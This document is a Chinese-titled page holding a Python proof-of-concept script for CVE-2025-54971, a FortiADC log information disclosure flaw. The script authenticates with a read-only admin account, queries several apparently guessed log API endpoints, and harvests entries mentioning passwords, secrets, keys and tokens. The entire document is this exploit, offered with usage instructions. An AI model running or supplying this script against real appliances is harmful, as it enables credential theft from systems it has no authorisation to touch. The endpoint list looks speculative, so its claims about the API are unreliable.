CVE-2025-54971 FortiADC 敏感信息泄露漏洞

# CVE-2025-54971 PoC - FortiADC Sensitive Information Disclosure # This PoC demonstrates the information disclosure vulnerability in FortiADC logs import requests import sys from requests.auth import HTTPBasicAuth def exploit_fortiadc_sensitive_info(base_url, username, password): """ Exploit CVE-2025-54971: Sensitive information disclosure via logs Requires: Valid admin account with read-only permissions """ print(f"[*] Targeting FortiADC at {base_url}") print(f"[*] Authenticating with user: {username}") # Step 1: Authenticate with read-only admin account session = requests.Session() login_url = f"{base_url}/api/v1/login" try: # Attempt authentication auth_data = { "username": username, "password": password } response = session.post(login_url, json=auth_data, verify=False, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Access logs containing sensitive information # The vulnerability allows read-only admins to view logs with credentials log_endpoints = [ "/api/v1/log/system", "/api/v1/log/debug", "/api/v1/system/logs", "/api/v1/dashboard/log" ] sensitive_info = [] for endpoint in log_endpoints: print(f"[*] Querying {endpoint}...") response = session.get(f"{base_url}{endpoint}", timeout=10) if response.status_code == 200: data = response.json() # Search for password patterns in logs for log_entry in data.get('logs', []): log_content = str(log_entry) # Check for password-related patterns if any(keyword in log_content.lower() for keyword in ['password', 'secret', 'key', 'credential', 'token']): print(f"[!] Potential sensitive info found in log entry") sensitive_info.append(log_entry) if sensitive_info: print(f"\n[+] Found {len(sensitive_info)} potential sensitive information entries") for info in sensitive_info: print(info) return sensitive_info else: print("[-] No sensitive information found in accessible logs") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://fortiadc.local admin readonly_password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_fortiadc_sensitive_info(target, user, pwd)